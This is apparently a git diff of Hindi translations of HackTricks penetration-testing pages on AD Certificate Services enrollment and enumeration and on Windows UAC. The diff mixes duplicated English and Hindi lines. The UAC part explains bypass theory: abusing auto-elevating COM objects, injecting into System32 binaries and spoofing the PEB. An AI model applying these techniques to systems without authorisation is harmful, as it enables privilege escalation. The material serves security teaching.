- AD में परिभाषित, ये templates प्रमाणपत्र जारी करने के लिए settings और permissions को रेखांकित करते हैं, जिनमें अनुमत EKUs और enrollment या modification अधिकार शामिल हैं — ये certificate services तक पहुँच प्रबंधन के लिए महत्वपूर्ण हैं।
AD में परिभाषित ये templates प्रमाणपत्र जारी करने के लिए सेटिंग्स और अनुमतियों को रेखांकित करते हैं, जिनमें अनुमति प्राप्त EKUs और enrollment या modification अधिकार शामिल हैं, जो certificate services तक पहुँच प्रबंधित करने के लिए महत्वपूर्ण हैं।
## Certificate Enrollment
The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
प्रमाणपत्रों के लिए enrollment प्रक्रिया उस administrator द्वारा प्रारंभ की जाती है जो **certificate template** बनाता है, जिसे फिर एक Enterprise Certificate Authority (CA) द्वारा **publish** किया जाता है। इससे template क्लाइंट enrollment के लिए उपलब्ध हो जाता है, यह चरण Active Directory object के `certificatetemplates` फ़ील्ड में template के नाम को जोड़ने के द्वारा प्राप्त किया जाता है।
- प्रमाणपत्रों के लिए enrollment प्रक्रिया उस administrator द्वारा प्रारम्भ की जाती है जो **एक certificate template बनाता है**, जिसे बाद में Enterprise Certificate Authority (CA) द्वारा **published** किया जाता है। इससे template client enrollment के लिए उपलब्ध हो जाता है, जो Active Directory ऑब्जेक्ट के `certificatetemplates` फील्ड में template का नाम जोड़कर किया जाता है।
For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
- किसी क्लाइंट को प्रमाणपत्र अनुरोध करने के लिए **enrollment rights** प्रदान किए जाने चाहिए। ये अधिकार certificate template और Enterprise CA पर security descriptors द्वारा परिभाषित होते हैं। अनुरोध सफल होने के लिए दोनों स्थानों पर permissions दिए जाने आवश्यक हैं।
किसी क्लाइंट को प्रमाणपत्र अनुरोध करने के लिए **enrollment rights** प्रदान किए जाने चाहिए। ये अधिकार certificate template और Enterprise CA पर security descriptors द्वारा परिभाषित होते हैं। अनुरोध सफल होने के लिए दोनों स्थानों पर permissions प्रदान किए जाने चाहिए।
### Template Enrollment Rights
These rights are specified through Access Control Entries (ACEs), detailing permissions like:
ये अधिकार Access Control Entries (ACEs) के माध्यम से निर्दिष्ट होते हैं, जो निम्नलिखित जैसे permissions का विवरण देते हैं:
- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
- **Certificate-Enrollment** और **Certificate-AutoEnrollment** अधिकार, जिनमें से प्रत्येक विशिष्ट GUIDs से जुड़ा होता है।
- **ExtendedRights**, allowing all extended permissions.
- **ExtendedRights**, जो सभी extended permissions की अनुमति देता है।
- **FullControl/GenericAll**, providing complete control over the template.
- **FullControl/GenericAll**, जो template पर पूर्ण नियंत्रण प्रदान करता है।
- **Certificate-Enrollment** और **Certificate-AutoEnrollment** अधिकार, प्रत्येक विशिष्ट GUIDs से जुड़े होते हैं।
- **ExtendedRights**, सभी विस्तारित अनुमतियों की अनुमति देता है।
- **FullControl/GenericAll**, template पर पूरा नियंत्रण प्रदान करता है।
### Enterprise CA Enrollment Rights
The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
- CA के अधिकार उसके security descriptor में सूचीबद्ध होते हैं, जिन्हें Certificate Authority management console के माध्यम से एक्सेस किया जा सकता है। कुछ सेटिंग्स कम-privileged उपयोगकर्ताओं को remote access भी देती हैं, जो सुरक्षा चिंता का कारण बन सकता है।
CA के अधिकार उसके security descriptor में सूचीबद्ध होते हैं, जिन्हें Certificate Authority management console के माध्यम से एक्सेस किया जा सकता है। कुछ सेटिंग्स यहाँ तक कि low-privileged users को remote access की अनुमति देती हैं, जो एक सुरक्षा चिंता हो सकती है।
### Additional Issuance Controls
Certain controls may apply, such as:
कुछ नियंत्रण लागू हो सकते हैं, जैसे:
- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
- **Manager Approval**: अनुरोधों को pending स्थिति में रखता है जब तक कि certificate manager द्वारा स्वीकृत न हो।
- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
- **Enrolment Agents and Authorized Signatures**: CSR पर आवश्यक हस्ताक्षरों की संख्या और आवश्यक Application Policy OIDs निर्दिष्ट करते हैं।
- **Manager Approval**: अनुरोधों को pending स्थिति में रखता है जब तक कि certificate manager द्वारा अनुमोदन न हो।
- **Enrolment Agents and Authorized Signatures**: CSR पर आवश्यक signatures की संख्या और आवश्यक Application Policy OIDs निर्दिष्ट करते हैं।
### Methods to Request Certificates
Certificates can be requested through:
प्रमाणपत्र निम्न तरीकों से अनुरोध किए जा सकते हैं:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
- **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM interfaces का उपयोग करते हुए।
2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
- **ICertPassage Remote Protocol** (MS-ICPR), named pipes या TCP/IP के माध्यम से।
3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
- **certificate enrollment web interface**, जब Certificate Authority Web Enrollment role स्थापित हो।
4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
- **Certificate Enrollment Service** (CES), Certificate Enrollment Policy (CEP) service के साथ मिलकर।
5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
- नेटवर्क उपकरणों के लिए **Network Device Enrollment Service** (NDES), Simple Certificate Enrollment Protocol (SCEP) का उपयोग करते हुए।
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM interfaces का उपयोग करते हुए।
2. **ICertPassage Remote Protocol** (MS-ICPR), named pipes या TCP/IP के माध्यम से।
3. certificate enrollment web interface, जब Certificate Authority Web Enrollment role इंस्टॉल हो।
4. **Certificate Enrollment Service** (CES), Certificate Enrollment Policy (CEP) service के साथ मिलकर।
5. **Network Device Enrollment Service** (NDES) नेटवर्क उपकरणों के लिए, Simple Certificate Enrollment Protocol (SCEP) का उपयोग करते हुए।
Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
- Windows उपयोगकर्ता GUI (`certmgr.msc` या `certlm.msc`) के माध्यम से या command-line उपकरणों (`certreq.exe` या PowerShell का `Get-Certificate` command) के जरिए भी प्रमाणपत्र अनुरोध कर सकते हैं।
Windows उपयोगकर्ता GUI (`certmgr.msc` या `certlm.msc`) या command-line tools (`certreq.exe` या PowerShell's `Get-Certificate` command) के माध्यम से भी प्रमाणपत्र अनुरोध कर सकते हैं।
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## प्रमाणपत्र प्रमाणीकरण
Active Directory (AD) प्रमाणपत्र प्रमाणीकरण का समर्थन करता है, मुख्यतः **Kerberos** और **Secure Channel (Schannel)** प्रोटोकॉल का उपयोग करते हुए।
Active Directory (AD) प्रमाणपत्र प्रमाणीकरण का समर्थन करता है, मुख्य रूप से **Kerberos** और **Secure Channel (Schannel)** प्रोटोकॉल का उपयोग करते हुए।
### Kerberos प्रमाणीकरण प्रक्रिया
Kerberos प्रमाणीकरण प्रक्रिया में, उपयोगकर्ता का Ticket Granting Ticket (TGT) के लिए अनुरोध उपयोगकर्ता के प्रमाणपत्र की **private key** का उपयोग करके हस्ताक्षरित किया जाता है। यह अनुरोध domain controller द्वारा कई सत्यापनों से गुज़रता है, जिनमें प्रमाणपत्र की **validity**, **path**, और **revocation status** शामिल हैं। सत्यापन में यह भी शामिल है कि प्रमाणपत्र किसी विश्वसनीय स्रोत से आया है और जारीकर्ता की उपस्थिति **NTAUTH certificate store** में पुष्टि करना। सफल सत्यापन TGT के जारी होने का कारण बनते हैं। AD में **`NTAuthCertificates`** ऑब्जेक्ट निम्न स्थान पर पाया जाता है:
Kerberos प्रमाणीकरण प्रक्रिया में, किसी उपयोगकर्ता के Ticket Granting Ticket (TGT) के लिए अनुरोध पर उपयोगकर्ता के प्रमाणपत्र की **private key** से हस्ताक्षर किए जाते हैं। यह अनुरोध डोमेन कंट्रोलर द्वारा कई सत्यापनों से गुजरता है, जिनमें प्रमाणपत्र की **वैधता**, **पथ**, और **रद्दीकरण स्थिति** शामिल हैं। सत्यापन में यह भी जांच शामिल है कि प्रमाणपत्र किसी विश्वसनीय स्रोत से आया है और जारीकर्ता की उपस्थिति **NTAUTH certificate store** में पुष्ट की जाती है। सफल सत्यापनों का परिणाम TGT जारी होना होता है। AD में **`NTAuthCertificates`** ऑब्जेक्ट, जो निम्न पर पाया जाता है:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
यह सर्टिफिकेट प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय है।
प्रमाणपत्र प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय है।
### Secure Channel (Schannel) प्रमाणीकरण
Schannel सुरक्षित TLS/SSL कनेक्शनों को सक्षम करता है, जहाँ हैंडशेक के दौरान क्लाइंट एक certificate प्रस्तुत करता है जो सफलतापूर्वक validate होने पर access को authorize करता है। किसी certificate का AD account से mapping Kerberos के **S4U2Self** function या certificate के **Subject Alternative Name (SAN)** सहित अन्य तरीकों के माध्यम से हो सकता है।
Schannel सुरक्षित TLS/SSL कनेक्शनों को सक्षम करता है, जहाँ हैण्डशेक के दौरान क्लाइंट एक प्रमाणपत्र प्रस्तुत करता है जिसे सफलतापूर्वक मान्य किया जाने पर एक्सेस अधिकृत होता है। किसी प्रमाणपत्र को AD खाते से मैप करने में Kerberos’s **S4U2Self** फ़ंक्शन या प्रमाणपत्र का **Subject Alternative Name (SAN)** सहित अन्य तरीके शामिल हो सकते हैं।
### AD Certificate Services एन्यूमरेशन
### AD Certificate Services Enumeration
AD की certificate services को LDAP queries के माध्यम से enumerate किया जा सकता है, जो **Enterprise Certificate Authorities (CAs)** और उनके configurations के बारे में जानकारी उजागर करती हैं। यह किसी भी domain-authenticated user द्वारा बिना किसी विशेष privileges के उपलब्ध है। AD CS environments में enumeration और vulnerability assessment के लिए **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** जैसे tools का उपयोग किया जाता है।
LDAP क्वेरीज के माध्यम से AD की certificate services को एन्यूमरेट किया जा सकता है, जिससे **Enterprise Certificate Authorities (CAs)** और उनके कॉन्फ़िगरेशन के बारे में जानकारी खुलती है। यह किसी भी domain-authenticated उपयोगकर्ता द्वारा विशेष privileges के बिना उपलब्ध है। उपकरण जैसे **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** का उपयोग AD CS environments में enumeration और vulnerability assessment के लिए किया जाता है।
इन tools का उपयोग करने के लिए Commands में शामिल हैं:
Commands for using these tools include:
```bash
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

506
src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
View File

File diff suppressed because it is too large Load Diff

156
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,90 +1,90 @@
# UAC - यूज़र अकाउंट कंट्रोल
# UAC - User Account Control
{{#include ../../banners/hacktricks-training.md}}
## UAC
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक ऐसी सुविधा है जो उच्चाधिकार (elevated) गतिविधियों के लिए **सहमति प्रांप्ट (consent prompt)** सक्षम करती है। Applications के अलग-अलग `integrity` स्तर होते हैं, और एक प्रोग्राम जिसके पास **high level** होता है वह ऐसे कार्य कर सकता है जो **संभवतः सिस्टम को खतरे में डाल सकते हैं**। जब UAC सक्षम होता है, तो Applications और टास्क हमेशा **एक non-administrator अकाउंट के सुरक्षा संदर्भ (security context)** के तहत चलते हैं जब तक कि किसी व्यवस्थापक (administrator) ने स्पष्ट रूप से उन applications/टास्क को सिस्टम पर एडमिन-स्तरीय पहुँच देने के लिए अधिकृत न किया हो। यह एक सुविधा है जो व्यवस्थापकों को अनइच्छित परिवर्तनों से बचाती है, पर इसे सुरक्षा सीमा (security boundary) नहीं माना जाता।
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक ऐसी सुविधा है जो **उच्च-स्तरीय गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। Applications के अलग-अलग `integrity` स्तर होते हैं, और एक प्रोग्राम जिसके पास **high level** है वह ऐसे कार्य कर सकता है जो **सिस्टम को संभावित रूप से खराब कर सकते हैं**। जब UAC सक्षम होता है, तो applications और tasks हमेशा **एक गैर-व्यवस्थापक खाते के सुरक्षा संदर्भ में चलते हैं** जब तक कि किसी व्यवस्थापक द्वारा स्पष्ट रूप से इन applications/tasks को व्यवस्थापक-स्तरीय पहुँच देने की अनुमति न दी जाए। यह एक सुविधा है जो व्यवस्थापकों को अनचाहे परिवर्तन से बचाती है, लेकिन इसे सुरक्षा सीमा माना नहीं जाता।
integrity levels के बारे में अधिक जानकारी के लिए:
For more info about integrity levels:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
जब UAC लागू होता है, तो एक administrator user को 2 टोकन दिए जाते हैं: एक standard user टोकन, जो सामान्य स्तर पर नियमित कार्य करने के लिए होता है, और एक टोकन जिसमें admin privileges होते हैं।
जब UAC लागू होता है, तो एक व्यवस्थापक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक standard user key, जो सामान्य स्तर पर नियमित क्रियाएँ करने के काम आता है, और एक जो व्यवस्थापक विशेषाधिकारों के साथ होता है।
यह [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC के काम करने के तरीके को गहराई से समझाता है और इसमें logon प्रक्रिया, user experience, और UAC आर्किटेक्चर शामिल हैं। व्यवस्थापक सुरक्षा नीतियों (security policies) का उपयोग करके UAC को अपनी संस्था के अनुसार लोकल स्तर पर (secpol.msc का उपयोग करते हुए) कॉन्फ़िगर कर सकते हैं, या Active Directory डोमेन वातावरण में Group Policy Objects (GPO) के जरिए कॉन्फ़िगर और पुश कर सकते हैं। विभिन्न सेटिंग्स का विवरण [here] पर दिया गया है। UAC के लिए सेट करने योग्य 10 Group Policy सेटिंग्स हैं। निम्न तालिका अतिरिक्त विवरण देती है:
यह [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) काफी गहराई से बताती है कि UAC कैसे काम करता है और इसमें logon प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर शामिल हैं। व्यवस्थापक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) यह कॉन्फ़िगर कर सकते हैं कि UAC उनके संगठन के लिए कैसे कार्य करे, या Active Directory डोमेन वातावरण में Group Policy Objects (GPO) के माध्यम से कॉन्फ़िगर और पुश किया जा सकता है। विभिन्न सेटिंग्स का विवरण [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) में दिया गया है। UAC के लिए 10 Group Policy सेटिंग्स हो सकती हैं जिन्हें सेट किया जा सकता है। निम्न तालिका अतिरिक्त विवरण देती है:
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | अक्षम |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | अक्षम |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | गैर‑Windows बाइनरीज़ के लिए सहमति के लिए प्रांप्ट |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | सुरक्षित डेस्कटॉप पर क्रेडेंशियल्स के लिए प्रांप्ट |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | सक्षम (डिफ़ॉल्ट — Home के लिए) अक्षम (डिफ़ॉल्ट — Enterprise के लिए) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | अक्षम |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | सक्षम |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | सक्षम |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | सक्षम |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | सक्षम |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
### UAC Bypass Theory
कुछ प्रोग्राम्स स्वतः ही **autoelevated automatically** हो जाते हैं यदि **user** **administrator group** का सदस्य हो। इन बाइनरीज़ के _**Manifests**_ के अंदर _**autoElevate**_ विकल्प का मान _**True**_ होता है। बाइनरी को **Microsoft द्वारा साइन किया गया** होना भी आवश्यक है।
कुछ प्रोग्राम **autoelevated automatically** हो जाते हैं यदि **उपयोगकर्ता administrator समूह का सदस्य** होता है। इन बायनरीज़ के अंदर उनके _**Manifests**_ में _**autoElevate**_ विकल्प का मान _**True**_ होता है। बाइनरी को **Microsoft द्वारा साइन** भी होना चाहिए।
कई auto-elevate प्रक्रियाएँ **COM objects या RPC servers के माध्यम से कार्यक्षमता (functionality) एक्सपोज़** करती हैं, जिन्हें medium integrity (साधारण user-स्तरीय) प्रक्रियाओं से भी invoke किया जा सकता है। ध्यान दें कि COM (Component Object Model) और RPC (Remote Procedure Call) वे तरीके हैं जिनसे Windows प्रोग्राम अलग-अलग प्रक्रियाओं के बीच संवाद करते हैं और फ़ंक्शन्स को निष्पादित करते हैं। उदाहरण के लिए, **`IFileOperation COM object`** फ़ाइल संचालन (कॉपी, डिलीट, मूव) को संभालने के लिए डिज़ाइन किया गया है और बिना प्रांप्ट के स्वतः ही privileges को elevate कर सकता है।
कई auto-elevate प्रक्रियाएँ **COM objects या RPC servers के माध्यम से कार्यक्षमता एक्सपोज़ करती हैं**, जिन्हें medium integrity (सामान्य उपयोगकर्ता-स्तर विशेषाधिकार) के साथ चल रहे प्रॉसेस से invoke किया जा सकता है। ध्यान दें कि COM (Component Object Model) और RPC (Remote Procedure Call) Windows प्रोग्रामों के बीच प्रक्रियाओं के पार संचार और कार्य निष्पादन के तरीके हैं। उदाहरण के लिए, **`IFileOperation COM object`** फाइल ऑपरेशनों (कॉपि, डिलीट, मूव) को हैंडल करने के लिए डिज़ाइन किया गया है और बिना प्रॉम्प्ट के privileges को स्वतः elevate कर सकता है।
ध्यान दें कि कुछ जाँचें की जा सकती हैं, जैसे यह चेक करना कि प्रक्रिया **System32 directory** से चलाई गई थी या नहीं, जिसे उदाहरण के लिए **explorer.exe** या किसी अन्य System32-स्थित executable में inject करके बाईपास किया जा सकता है।
ध्यान दें कि कुछ चेक किए जा सकते हैं, जैसे यह जाँचना कि प्रक्रिया **System32 directory** से चलाई गई थी या नहीं, जिसे उदाहरण के लिए **explorer.exe** या किसी अन्य System32-स्थित executable में inject करके बाईपास किया जा सकता है।
इन जाँचों को बाईपास करने का एक और तरीका PEB को संशोधित (modify) करना है। Windows में हर प्रक्रिया का Process Environment Block (PEB) होता है, जिसमें प्रक्रिया के बारे में महत्वपूर्ण डेटा होता है, जैसे उसका executable path। PEB को संशोधित करके, हम अपनी खतरनाक प्रक्रिया के स्थान को फर्जी (spoof) कर सकते हैं, जिससे यह भरोसेमंद डायरेक्टरी (जैसे system32) से चलती हुई दिखे। यह spoofed जानकारी COM object को बिना उपयोगकर्ता से पूछे privileges auto-elevate करने के लिए धोखा देती है।
इन चेक्स को बाईपास करने का एक और तरीका PEB को **modify** करना है। Windows में हर प्रक्रिया का एक Process Environment Block (PEB) होता है, जिसमें प्रक्रिया के बारे में महत्वपूर्ण डेटा शामिल होता है, जैसे इसका executable path। PEB को संशोधित करके, हम अपने खतरनाक प्रक्रिया के स्थान को नकली (spoof) कर सकते हैं, ताकि यह विश्वसनीय डायरेक्टरी (जैसे system32) से चल रही प्रतीत हो। यह स्पूफ्ड जानकारी COM object को बिना प्रॉम्प्ट के auto-elevate करने में धोखा देती है।
फिर, UAC को **बाईपास** करने के लिए (medium integrity स्तर से **high** तक उठाने के लिए) कुछ attackers इस तरह के बाइनरीज़ का उपयोग करके **arbitrary code execute** कराते हैं क्योंकि यह उच्च स्तर की integrity प्रक्रिया से चलाया जाएगा।
फिर, UAC को **बाईपास** करने के लिए (medium integrity level से **high** तक उठने के लिए) कुछ अटैकर्स ऐसे बाइनरीज़ का उपयोग कर arbitrary code execute कराते हैं क्योंकि वह कोड **High level integrity process** से execute होगा।
आप किसी बाइनरी के _**Manifest**_ की **जाँच** Sysinternals के टूल _**sigcheck.exe**_ से कर सकते हैं. (`sigcheck.exe -m <file>`) और आप प्रक्रियाओं के **integrity level** को _Process Explorer_ या _Process Monitor_ (Sysinternals के) का उपयोग करके देख सकते हैं।
आप किसी बाइनरी के _**Manifest**_ को Sysinternals का टूल _**sigcheck.exe**_ से चेक कर सकते हैं. (`sigcheck.exe -m <file>`) और आप प्रक्रियाओं के **integrity level** को _Process Explorer_ या _Process Monitor_ (of Sysinternals) का उपयोग करके देख सकते हैं।
### UAC की जाँच
### Check UAC
UAC सक्षम है या नहीं यह सत्यापित करने के लिए करें:
To confirm if UAC is enabled do:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
अगर यह **`1`** है तो UAC **सक्रिय** है, अगर यह **`0`** है या यह मौजूद ही नहीं है, तो UAC **निष्क्रिय** है।
अगर यह **`1`** है तो UAC **सक्रिय** है, अगर यह **`0`** है या यह मौजूद नहीं है, तो UAC **निष्क्रिय** है।
फिर, जांचें कि **कौन सा स्तर** कॉन्फ़िगर किया गया है:
फिर, जाँचें कि **कौन सा स्तर** कॉन्फ़िगर किया गया है:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- If **`0`** तो, UAC prompt नहीं करेगा (जैसे **disabled**)
- If **`1`** तो admin से **username और password मांगे जाते हैं** ताकि binary को high rights के साथ चलाया जा सके (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC हमेशा administrator से पुष्टि मांगेगा जब वह high privileges के साथ कुछ चलाने की कोशिश करेगा (on Secure Desktop)
- If **`3`** `1` जैसा लेकिन Secure Desktop पर जरूरी नहीं
- If **`4`** `2` जैसा लेकिन Secure Desktop पर जरूरी नहीं
- if **`5`**(**default**) यह administrator से पुष्टि मांगेगा कि non Windows binaries को high privileges के साथ चलाया जाए
- If **`0`** तो, UAC prompt नहीं करेगा (जैसे **निष्क्रिय**)
- If **`1`** तो admin से **username और password मांगा जाता है** ताकि बाइनरी को उच्च अधिकारों के साथ चलाया जा सके (on Secure Desktop)
- If **`2`** (**हमेशा मुझे सूचित करें**) UAC हमेशा administrator से पुष्टि मांगेगा जब वह उच्च privileges के साथ कुछ चलाने की कोशिश करेगा (on Secure Desktop)
- If **`3`** `1` जैसा है पर Secure Desktop पर आवश्यक नहीं
- If **`4`** `2` जैसा है पर Secure Desktop पर आवश्यक नहीं
- if **`5`**(**डिफ़ॉल्ट**) तो यह administrator से पुष्टि मांगेगा ताकि non Windows binaries उच्च privileges के साथ चल सकें
फिर, आपको **`LocalAccountTokenFilterPolicy`** की value देखनी चाहिए\
यदि value **`0`** है, तो केवल **RID 500** user (**built-in Administrator**) ही **admin tasks without UAC** कर सकता है, और अगर यह `1` है, तो **"Administrators"** समूह के सभी खाते ये कर सकते हैं।
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
If the value is **`0`**, तो केवल **RID 500** user (**built-in Administrator**) ही **admin tasks बिना UAC के** कर सकता है, और अगर यह `1` है, तो **"Administrators"** group के सभी accounts ये कर सकते हैं।
और अंत में **`FilterAdministratorToken`** key की value देखें\
यदि **`0`**(default) है, तो **built-in Administrator account** remote administration tasks कर सकता है और अगर **`1`** है तो built-in Administrator remote administration tasks नहीं कर सकता, जब तक कि `LocalAccountTokenFilterPolicy` को `1` पर सेट न किया गया हो।
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
If **`0`**(default), तो **built-in Administrator account** remote administration tasks कर सकता है और अगर **`1`** है तो built-in Administrator remote administration tasks नहीं कर सकता, जब तक कि `LocalAccountTokenFilterPolicy` को `1` पर न सेट किया गया हो।
#### सारांश
#### Summary
- If `EnableLUA=0` या **मौजूद नहीं है**, **किसी के लिए भी UAC नहीं**
